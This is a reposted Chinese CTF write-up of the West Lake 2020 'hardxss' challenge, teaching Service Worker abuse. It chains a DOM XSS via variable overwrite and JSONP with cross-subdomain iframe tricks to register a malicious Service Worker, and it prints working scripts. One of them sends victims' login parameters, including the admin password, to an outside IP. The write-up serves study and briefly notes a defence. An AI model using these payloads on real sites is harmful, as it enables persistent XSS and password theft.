3

从一道CTF学习Service Worker的利用:西湖论剑2020-hardxss

 2 years ago
source link: https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20201019-sw_safe.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

从一道CTF学习Service Worker的利用:西湖论剑2020-hardxss

  • 首先,题目提供了一个在线访问工具,会去访问提交的url。在“联系站长”处有:嘿~想给我报告BUG链接请解开下面的验证码,只能给我发我网站开头的链接给我哟~我收到邮件后会先点开链接然后登录我的网站!,而登陆时,会以GET请求传入用户名和密码:https://auth.hardxss.xhlj.wetolink.com/api/loginVerify?adminname=123&adminpwd=123
  • 所以本题需要通过XSS拦截并获取登陆时GET请求的密码,然后以admin身份登录,不能通过常规的盗取cookie实现。这就需要Service Worker来操作。

JSONP

  • 通过浏览器network工具,可以发现在login处存在一处jsonp: https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=get_user_login_status ,网页直接返回了:
get_user_login_status({"status": false})

我们访问https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=alert(1);//,返回:

alert(1);//({"status":false})
  • 需要注意的是,这个jsonp限制了返回值的长度。

变量覆盖和DOM XSS

  • 仔细查看login处的js代码,可以发现一处dom xss:
  • 首先,注意到 jsonp 函数会创建 script 标签,并使用 https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=get_user_login_status 处的jsonp,而该jsonp调用的函数由变量 callback 决定。
  • auto_reg_var 函数中,通过 location.search 获取了请求参数,并通过 window[key] = value 进行了赋值,此处存在变量覆盖漏洞。
  • 结合以上的jsonp和login页面的js,此处存在DOM型XSS,我们只需要通过GET请求传入login页面callback参数,此时会覆盖掉原来的callback并调用jsonp,payload: ?callback=alert(1)//
callback = "get_user_login_status";
auto_reg_var();
if (typeof(jump_url) == "undefined" || /^\//.test(jump_url)) {
jump_url = "/";
jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback, function(result) {
if (result['status']) {
location.href = jump_url;
function jsonp(url, success) {
var script = document.createElement("script");
if (url.indexOf("callback") < 0) {
var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
url = url + "?" + "callback=" + funName; //调用jsonp
} else {
var funName = callback;
window[funName] = function(data) {
success(data);
delete window[funName];
document.body.removeChild(script);
script.src = url;
document.body.appendChild(script); //执行jsonp的返回函数
function auto_reg_var() {
var search = location.search.slice(1);
var search_arr = search.split('&');
for (var i = 0; i < search_arr.length; i++) {
[key, value] = search_arr[i].split("=");
window[key] = value; //此处存在变量覆盖,可以覆盖掉callback变量

虽然找到了一处XSS,但是题目又说明:“我收到邮件后会先点开链接然后登录我的网站!”,而登录的域名是auth.hardxss.xhlj.wetolink.com登录和打开链接是在不同的域名,并且需要盗取的信息在请求中而不是在cookie中。又注意到,直接访问https://auth.hardxss.xhlj.wetolink.com/,返回的页面源码的js中包含跨域操作:document.domain = "hardxss.xhlj.wetolink.com";, 所以此题需要使XSS跨域持久化,这就涉及到本文的主角:Service Worker,通过它和其他页面的跨域操作可以让XSS持久化。此外,由于需要拦截登陆时的参数,其他方法难以做到拦截请求,而SW可以。

Service Worker

Service Worker简介

  • Appcache用来处理网站的离线缓存,可以通过manifest文件指定浏览器缓存哪些文件以供离线访问。但Appcache有相当多的缺陷,对于整站中的多页缓存来说支持比较差,而Service Worker用来作为其替代。
  • Service Worker是浏览器在后台运行的脚本,与web页面分离,以更好地支持不需要web页面或用户交互的功能。也可以将其理解为一个介于客户端和服务端之间的代理服务器,拥有拦截请求、修改返回内容的权力。可以用来缓存并处理离线网页(用来XSS)。
  • Service Workers 要求必须在 HTTPS 下才能运行。为了便于本地开发,localhost 也被浏览器认为是安全源。
  • Service Workers没有访问 DOM 的能力

注册Service Worker

要使用SW,需要先注册,有两种方法注册SW:1. 通过JS;2. 通过link标签引入外部js

if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/sw-test/sw.js', {
scope: '/sw-test/'
}).then(function(reg) {
// registration worked
console.log('Registration succeeded. Scope is ' + reg.scope);
}).catch(function(error) {
// registration failed
console.log('Registration failed with ' + error);
<link rel="serviceworker" href="/sw.js">
  • 需要注意的是 navigator.serviceWorker.register 中的参数
  • 首先,第一个参数( scriptURL )只能为本站中的JS脚本(并且必须是 HTTPSlocalhost ,且这个脚本的 Content-Type 必须是 text/javascript 或者其等价类型);
  • 第二个参数 scope 则限定了Service Worker访问的资源的名称空间(如本例中只能访问 /sw-test/ 的子路径),并且, scope 参数不能设置为第一个参数的上层路径( scope 范围必须要小于 Service Worker 脚本本身的路径范围),几个例子:
无效:"/assets/js/sw.js",{scope: "https://other.example.com/"}
无效:"/assets/js/sw.js", {scope: "/assets/"}
无效:"/assets/js/sw.js", {scope: "/assets/css/"}
有效:"/assets/js/sw.js", {scope: "/assets/js/"}
有效:"/assets/js/sw.js", {scope: "/assets/js/sub/"}

构造恶意register

从上文可以看出,Service Worker有诸多限制,所以利用起来也比较局限。 一种利用方式:首先发现本站的jsonp(或者有本站的js文件上传点,但这种情况比较少),以作为sw脚本url源。 接一段lightless师傅的引用:

该接口的路径越浅越好,最好在根目录下。很明显 http://localhost/time.jsonp?callback= 要优于 http://localhost/a/b/c/time.jsonp?callback= ,因为如果后者作为 Service Worker 的脚本时, scope 只能为 /a/b/c/ 下的路径,而前者可以控制整个域下的内容。

有了这个JSONP,使用 importScripts 就可以在SW注册时引入任意https脚本: importScripts('https://my_site.com/my_evil.js');

利用脚本:

//SW脚本
this.addEventListener('fetch', function(event) {
var url = event.request.clone(); //获得用户请求
console.log('url: ', url);
var body = '<script>alert("test")</script>';
var init = {
headers: {
"Content-Type": "text/html"
if (url.url === 'http://localhost/sw/target.html') {//要访问的url(https或localhost)
var res = new Response(body, init);
event.respondWith(res.clone()); //篡改返回结果

原理:通过监听 fetch 事件,截获用户的请求,篡改返回,向返回的页面上嵌入恶意的JS脚本。

Service Worker有效时间

在每个Service Worker授权24小时后(用PC时钟确定时间),原先的HTTP缓存将被清除。脚本需要被重新注册以正常使用,否则会被摧毁。

利用1:XSS持久化、拓展XSS攻击面

importScripts('https://my_site.com/sw.js');//用于注册恶意脚本,通过jsonp或js上传调用importScripts从而引入外部JS
// sw.js(SW恶意脚本)
onfetch=e=>{//劫持fetch事件,即浏览器在子域下的每一次访问都会触发
body =
'<script>alert(document.domain)</script>';
init ={headers:{'content-type':'text/html'}};
e.respondWith(new Response(body,init));
// sw.js;与上一个类似
this.addEventListener('fetch', function (event) {
var url = event.request.clone();
console.log('url: ', url);
var body = '<script>alert("test")</script>';
var init = {headers: {"Content-Type": "text/html"}};
if (url.url === 'http://localhost/sw/target.html') {
var res = new Response(body, init);
event.respondWith(res.clone());

利用2:跨域XSS

  • 这便是本题的利用思路了,首先看条件:若另一个页面存在跨域操作(如:document.domain="xxx.xxx"),则可以跨该域进行XSS。

再引用一段lightless师傅的博客:

假设我们在 A.lightless.me 上发现了 XSS,想要横向移动到 secret.lightless.me 上。当 secret.lightless.me 上存在跨域行为的时候,例如 document.domain = 'lightless.me' ,我们可以通过 XSS 漏洞嵌入一个 iframe 标签,以此给 secret.lightless.me 域下植入 Service Worker (前提是 secret.lightless.me 域下存在一个 JSONP 或是有可以返回 Service Worker 脚本的地方)。通过这种方法,即便 secret.lightless.me 域内没有 XSS,也可以被植入恶意的 Service Worker

理解一下:我们在A.lightless.me上插入一个secret.lightless.me域(secret.lightless.me域下存在跨域行为和JSONP或js文件上传)下的iframe,并通过JSONP为该iframe注册恶意SW,由于该页面跨域了,所以A.lightless.me页面的iframe可以访问其内容,能够成功为secret.lightless.me注册恶意SW。

在本题中,首先诱导受害者访问:

https://xss.hardxss.xhlj.wetolink.com/login?callback=jsonp(%22https://testjs--hachp1.repl.co/1.js%22);//

此处会触发xss.hardxss.xhlj.wetolink.com/login下的DOM XSS,从而引入并执行1.js

//1.js(iframe跨域、注册跨域下的SW)
document.domain = "hardxss.xhlj.wetolink.com";
var iff = document.createElement('iframe');//构造iframe,指向跨域页面
iff.src = 'https://auth.hardxss.xhlj.wetolink.com/';//此页面存在跨域操作
iff.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(iff);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=importScripts('//testjs--hachp1.repl.co/2.js')//")`;//使用JSONP注册SW,在JSONP内调用importscripts引入外部脚本
function iffLoadover(){
iff.contentWindow.eval(exp);

1.js中,我们首先跨域以访问同样跨域的https://auth.hardxss.xhlj.wetolink.com,这种跨域方法在实际开发中很常见,为了使数据能够跨域传输,开发者常常把两个不同子域的document.domain设置为共同的父域,通过iframe就能跨域操作,但也带来了安全隐患。此时,1.js就可以对https://auth.hardxss.xhlj.wetolink.com进行操作了。然后我们构造一个iframe指向https://auth.hardxss.xhlj.wetolink.com,并在其上注册SW(此处省去了scope参数,使用默认的最大子路径作为参数),此SW使用JSONP与importScripts结合加载2.js作为SW脚本。

//2.js(SW脚本,必须通过JSONP或JS上传引入)
this.addEventListener('fetch', function (event) {
var body = "<script>location='http://159.75.52.53:8888/'+location.search;</script>";//通过GET请求传参,此处劫持请求并将其带出
var init = {headers: {"Content-Type": "text/html"}};
var res = new Response(body, init);
event.respondWith(res.clone());

2.js是SW脚本,在2.js中,我们劫持了fetch事件,并将请求传给我们的服务器,从而在管理员登陆时劫持并窃取管理员密码,达到利用目的。拿到密码后,登录网页即可拿到flag。需要注意的一点是,由于JSONP为https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=xxx,我们只能劫持受害者在https://auth.hardxss.xhlj.wetolink.com/api/的子域下的请求;而用户登陆的url为https://auth.hardxss.xhlj.wetolink.com/api/loginVerify?adminname=xxx&adminpwd=xxx,恰好在该子域下,所以利用才能成功。可以看出SW的可利用路径是非常苛刻的。

真实情况下的案例:百度漏洞报告:埋雷式攻击,悄无声息获取用户百度登录密码

Service Worker防御措施

当注册SW时,会发出包含 Service-Worker: script http头的请求,可以在服务端拒绝非SW Script却又包含该头的请求以进行防范。

  • 让我们梳理一下,考虑一些细节,整道题主要涉及到四个url:
  1. DOM XSS(https://xss.hardxss.xhlj.wetolink.com/login)
  2. JSONP(https://auth.hardxss.xhlj.wetolink.com/api/loginStatus)
  3. 跨域页面(https://auth.hardxss.xhlj.wetolink.com)
  4. 登录验证api(https://auth.hardxss.xhlj.wetolink.com/api/loginVerify)

最后结合一张networking截图理解:
networking

  • 注意到跨域页面上只有一个光秃秃的跨域操作,并没有其他操作,但作为媒介用以设置其子域-登录验证api上的SW脚本(设置脚本时访问的是跨域页面而没有访问劫持页面)
  • 利用条件:1.baidu.com上发现了XSS,2.baidu.com上存在跨域操作:document.domain = 'baidu.com'并且子域下存在JSONP(路径需要跟盗取的信息页面在同一子域)或能够上传js的地方,就可以完成JSONP子域下的持久化XSS劫持。

最后几点:

  1. JSONP决定了可以盗取的页面子域
  2. 可以用来劫持请求,并直接盗取请求参数,这是其他XSS不能办到的
  3. 持久化XSS
  4. 扩大XSS到SW脚本子域

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK